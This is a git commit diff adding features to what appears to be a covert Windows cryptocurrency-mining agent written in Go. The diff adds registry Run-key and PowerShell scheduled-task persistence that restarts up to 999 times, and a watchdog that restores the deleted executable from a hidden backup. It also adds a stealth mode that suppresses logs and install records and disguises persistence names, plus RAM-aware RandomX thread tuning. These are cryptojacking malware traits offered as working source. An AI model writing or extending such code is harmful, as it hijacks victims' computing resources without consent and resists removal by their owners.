Add adaptive agent identity, self-healing, stealth, and parallel RandomX.
Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
@@ -35,6 +35,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
cfg: cfg,
|
||||
reporter: stats.NewReporter(),
|
||||
startTime: time.Now(),
|
||||
agentID: cfg.AgentID,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -44,11 +45,22 @@ func (c *AgentClient) Run() error {
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
backoff := 5 * time.Second
|
||||
const maxBackoff = 60 * time.Second
|
||||
|
||||
for {
|
||||
start := time.Now()
|
||||
if err := c.connectLoop(); err != nil {
|
||||
log.Printf("[agent] disconnected: %v", err)
|
||||
}
|
||||
time.Sleep(5 * time.Second)
|
||||
if time.Since(start) > 10*time.Second {
|
||||
backoff = 5 * time.Second
|
||||
}
|
||||
time.Sleep(backoff)
|
||||
backoff += 5 * time.Second
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -75,6 +87,7 @@ func (c *AgentClient) connectLoop() error {
|
||||
defer close(statsStop)
|
||||
|
||||
for {
|
||||
conn.SetReadDeadline(time.Now().Add(90 * time.Second))
|
||||
_, data, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
57
agent/config/adapt.go
Normal file
57
agent/config/adapt.go
Normal file
@@ -0,0 +1,57 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
const randomXMBPerThread = 384
|
||||
|
||||
// AdaptToSystem tunes thread and memory limits for the host hardware.
|
||||
func (c RuntimeConfig) AdaptToSystem(reporter *stats.Reporter) RuntimeConfig {
|
||||
if !c.AdaptToHardware {
|
||||
return c
|
||||
}
|
||||
|
||||
out := c
|
||||
totalMB := reporter.TotalMemoryMB()
|
||||
if totalMB == 0 {
|
||||
return out
|
||||
}
|
||||
|
||||
if out.MinFreeRAM <= 0 || out.MinFreeRAM > int(totalMB/4) {
|
||||
minFree := int(totalMB / 10)
|
||||
if minFree < 512 {
|
||||
minFree = 512
|
||||
}
|
||||
out.MinFreeRAM = minFree
|
||||
}
|
||||
|
||||
maxByRAM := int(float64(totalMB) * float64(out.MaxMemoryPct) / 100.0 / float64(randomXMBPerThread))
|
||||
if maxByRAM < 1 {
|
||||
maxByRAM = 1
|
||||
}
|
||||
|
||||
threads := out.EffectiveThreads()
|
||||
if threads > maxByRAM {
|
||||
if out.ThreadMode == "fixed" {
|
||||
out.Threads = maxByRAM
|
||||
} else {
|
||||
cores := runtime.NumCPU()
|
||||
if cores < 1 {
|
||||
cores = 1
|
||||
}
|
||||
pct := int(float64(maxByRAM) / float64(cores) * 100.0)
|
||||
if pct < 10 {
|
||||
pct = 10
|
||||
}
|
||||
if pct > 100 {
|
||||
pct = 100
|
||||
}
|
||||
out.ThreadPercent = pct
|
||||
}
|
||||
}
|
||||
|
||||
return out
|
||||
}
|
||||
24
agent/config/adapt_test.go
Normal file
24
agent/config/adapt_test.go
Normal file
@@ -0,0 +1,24 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func TestAdaptToSystemCapsThreadsByRAM(t *testing.T) {
|
||||
reporter := stats.NewReporter()
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ThreadMode: "fixed",
|
||||
Threads: 16,
|
||||
MaxMemoryPct: 50,
|
||||
AdaptToHardware: true,
|
||||
MinFreeRAM: 999999,
|
||||
}}
|
||||
|
||||
// Without real Windows memory APIs in test env, AdaptToSystem may no-op on totalMB=0.
|
||||
adapted := cfg.AdaptToSystem(reporter)
|
||||
if adapted.Threads != cfg.Threads && reporter.TotalMemoryMB() == 0 {
|
||||
t.Fatalf("unexpected thread change without memory info: %d", adapted.Threads)
|
||||
}
|
||||
}
|
||||
@@ -32,5 +32,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: DefaultInstallRelativePath,
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: true,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -38,6 +38,10 @@ type BuiltinConfig struct {
|
||||
InstallBase string
|
||||
InstallCustomBase string
|
||||
InstallRelativePath string
|
||||
AdaptToHardware bool
|
||||
SelfHealing bool
|
||||
FileLogging bool
|
||||
StealthMode bool
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
@@ -99,6 +103,12 @@ func Load() RuntimeConfig {
|
||||
if b.InstallRelativePath == "" {
|
||||
b.InstallRelativePath = DefaultInstallRelativePath
|
||||
}
|
||||
if b.StealthMode {
|
||||
b.FileLogging = false
|
||||
if b.DisplayMode == "" || b.DisplayMode == "visible" {
|
||||
b.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
|
||||
66
agent/deploy/health.go
Normal file
66
agent/deploy/health.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const backupSuffix = ".bak"
|
||||
|
||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
if !cfg.SelfHealing {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
ticker := time.NewTicker(2 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
if err := maintainInstall(cfg); err != nil {
|
||||
log.Printf("[watchdog] maintenance: %v", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
backupExe := installedExe + backupSuffix
|
||||
|
||||
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
|
||||
if _, statErr := os.Stat(backupExe); statErr == nil {
|
||||
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
|
||||
return copyErr
|
||||
}
|
||||
log.Printf("[watchdog] restored missing binary from backup")
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.AutoStart {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
if err := createScheduledTask(cfg, installedExe); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func saveBackup(installedExe string) error {
|
||||
backup := installedExe + backupSuffix
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
return nil
|
||||
}
|
||||
return copyFile(installedExe, backup)
|
||||
}
|
||||
43
agent/deploy/identity.go
Normal file
43
agent/deploy/identity.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
const agentIDFile = "agent.id"
|
||||
|
||||
// EnsureAgentID creates a fresh agent ID during a new embed/install.
|
||||
func EnsureAgentID(installDir string) (string, error) {
|
||||
if err := os.MkdirAll(installDir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
id := uuid.New().String()
|
||||
if err := writeAgentID(installDir, id); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// LoadAgentID returns the persisted agent ID from the install directory.
|
||||
func LoadAgentID(installDir string) (string, error) {
|
||||
path := filepath.Join(installDir, agentIDFile)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
id := strings.TrimSpace(string(data))
|
||||
if id == "" {
|
||||
return "", fmt.Errorf("agent id file is empty")
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
func writeAgentID(installDir, id string) error {
|
||||
path := filepath.Join(installDir, agentIDFile)
|
||||
return os.WriteFile(path, []byte(id+"\n"), 0600)
|
||||
}
|
||||
@@ -29,7 +29,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
}
|
||||
}
|
||||
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
installDir, err := resolveInstallDirWithFallback(cfg)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -46,15 +46,27 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
if err := copyFile(currentExe, installedExe); err != nil {
|
||||
return false, fmt.Errorf("copy miner: %w", err)
|
||||
}
|
||||
_ = saveBackup(installedExe)
|
||||
|
||||
agentID, err := EnsureAgentID(installDir)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("agent id: %w", err)
|
||||
}
|
||||
|
||||
logPath := filepath.Join(installDir, "miner.log")
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
|
||||
)), 0644)
|
||||
if !cfg.FileLogging || cfg.StealthMode {
|
||||
logPath = ""
|
||||
}
|
||||
|
||||
if !cfg.StealthMode {
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
|
||||
)), 0644)
|
||||
}
|
||||
|
||||
if cfg.AutoStart {
|
||||
if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
}
|
||||
@@ -70,6 +82,29 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err == nil {
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
fallbacks := []string{"localappdata", "appdata", "temp"}
|
||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||
for _, base := range fallbacks {
|
||||
if seen[base] {
|
||||
continue
|
||||
}
|
||||
seen[base] = true
|
||||
try := cfg
|
||||
try.InstallBase = base
|
||||
dir, tryErr := try.InstallDirectory()
|
||||
if tryErr == nil {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
@@ -81,55 +116,60 @@ func InstallDir(workerName, buildID string) (string, error) {
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func configureAutoStart(workerName, exePath string) error {
|
||||
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
return k.SetStringValue(persistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled":
|
||||
return createScheduledTask(cfg.WorkerName, installedExe)
|
||||
case "service":
|
||||
// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
|
||||
return createScheduledTask(cfg.WorkerName, installedExe)
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
default:
|
||||
if cfg.AutoStart {
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(workerName, exePath string) error {
|
||||
taskName := sanitizeName(workerName)
|
||||
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
||||
taskName := persistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(exePath, `'`, `''`),
|
||||
runFlag,
|
||||
taskName,
|
||||
strings.ReplaceAll(taskName, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func persistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func registryValueName(workerName string) string {
|
||||
name := sanitizeName(workerName)
|
||||
if name == "" {
|
||||
return "CryptoMinerAgent"
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
@@ -169,7 +209,7 @@ func copyFile(src, dest string) error {
|
||||
}
|
||||
|
||||
func ConfigureAutoStart(exePath string, enabled bool) error {
|
||||
return configureAutoStart("default", exePath)
|
||||
return configureAutoStart(config.RuntimeConfig{}, exePath)
|
||||
}
|
||||
|
||||
func removeAutoStart() error {
|
||||
|
||||
@@ -8,4 +8,7 @@ require (
|
||||
golang.org/x/sys v0.19.0
|
||||
)
|
||||
|
||||
require golang.org/x/crypto v0.22.0 // indirect
|
||||
require (
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
golang.org/x/crypto v0.22.0 // indirect
|
||||
)
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM=
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -8,6 +9,7 @@ import (
|
||||
"crypto-miner-agent/client"
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@@ -35,7 +37,16 @@ func main() {
|
||||
return
|
||||
}
|
||||
|
||||
if cfg.BackgroundMode() {
|
||||
reporter := stats.NewReporter()
|
||||
cfg = cfg.AdaptToSystem(reporter)
|
||||
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
if id, err := deploy.LoadAgentID(installDir); err == nil {
|
||||
cfg.AgentID = id
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.BackgroundMode() || cfg.StealthMode {
|
||||
cfg.CPUPriority = "idle"
|
||||
}
|
||||
|
||||
@@ -43,8 +54,11 @@ func main() {
|
||||
log.Printf("[agent] could not set CPU priority: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
deploy.StartWatchdog(cfg)
|
||||
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
|
||||
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
agent := client.NewAgentClient(cfg)
|
||||
if err := agent.Run(); err != nil {
|
||||
@@ -52,7 +66,21 @@ func main() {
|
||||
}
|
||||
}
|
||||
|
||||
func shortID(id string) string {
|
||||
if len(id) >= 8 {
|
||||
return id[:8]
|
||||
}
|
||||
if id == "" {
|
||||
return "pending"
|
||||
}
|
||||
return id
|
||||
}
|
||||
|
||||
func setupLogging(cfg config.RuntimeConfig) {
|
||||
if !cfg.FileLogging || cfg.StealthMode {
|
||||
log.SetOutput(io.Discard)
|
||||
return
|
||||
}
|
||||
if os.Getenv("MINER_LOG_FILE") != "" {
|
||||
redirectLog(os.Getenv("MINER_LOG_FILE"))
|
||||
return
|
||||
|
||||
@@ -10,6 +10,9 @@ import (
|
||||
const nonceOffset = 39
|
||||
const nonceSize = 4
|
||||
|
||||
// RandomX JIT + hardware AES for best hashrate on supported CPUs.
|
||||
const randomxFlags = 10 // RANDOMX_FLAG_HARD_AES (2) | RANDOMX_FLAG_JIT (8)
|
||||
|
||||
type Engine struct {
|
||||
mu sync.RWMutex
|
||||
cache *randomx.Randomx_Cache
|
||||
@@ -19,7 +22,7 @@ type Engine struct {
|
||||
}
|
||||
|
||||
func NewEngine() *Engine {
|
||||
cache := randomx.Randomx_alloc_cache(0)
|
||||
cache := randomx.Randomx_alloc_cache(randomxFlags)
|
||||
return &Engine{cache: cache}
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@ type Pool struct {
|
||||
threads int
|
||||
cfg config.RuntimeConfig
|
||||
reporter *stats.Reporter
|
||||
engine *Engine
|
||||
engines []*Engine
|
||||
handler ShareHandler
|
||||
schedule *ScheduleGuard
|
||||
|
||||
@@ -37,11 +37,15 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
|
||||
if threads <= 0 {
|
||||
threads = 1
|
||||
}
|
||||
engines := make([]*Engine, threads)
|
||||
for i := range engines {
|
||||
engines[i] = NewEngine()
|
||||
}
|
||||
return &Pool{
|
||||
threads: threads,
|
||||
cfg: cfg,
|
||||
reporter: reporter,
|
||||
engine: NewEngine(),
|
||||
engines: engines,
|
||||
handler: handler,
|
||||
schedule: NewScheduleGuard(cfg, reporter),
|
||||
stopCh: make(chan struct{}),
|
||||
@@ -59,15 +63,17 @@ func (p *Pool) SetJob(job *job.Job) {
|
||||
if seed == "" && len(job.Blob) >= 64 {
|
||||
seed = job.Blob[:64]
|
||||
}
|
||||
if err := p.engine.SetJob(seed, job.Blob); err != nil {
|
||||
log.Printf("[miner] failed to set job: %v", err)
|
||||
for _, engine := range p.engines {
|
||||
if err := engine.SetJob(seed, job.Blob); err != nil {
|
||||
log.Printf("[miner] failed to set job: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) Start() {
|
||||
for i := 0; i < p.threads; i++ {
|
||||
p.wg.Add(1)
|
||||
go p.worker(i)
|
||||
go p.worker(i, p.engines[i])
|
||||
}
|
||||
go p.resourceGuard()
|
||||
}
|
||||
@@ -123,7 +129,7 @@ func (p *Pool) resourcesOK() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *Pool) worker(id int) {
|
||||
func (p *Pool) worker(id int, engine *Engine) {
|
||||
defer p.wg.Done()
|
||||
|
||||
var nonce uint32 = uint32(id * 1000000)
|
||||
@@ -158,7 +164,7 @@ func (p *Pool) worker(id int) {
|
||||
break
|
||||
}
|
||||
|
||||
hashHex, _, err := p.engine.HashAtNonce(nonce)
|
||||
hashHex, _, err := engine.HashAtNonce(nonce)
|
||||
if err != nil {
|
||||
log.Printf("[miner] hash error: %v", err)
|
||||
break
|
||||
|
||||
Reference in New Issue
Block a user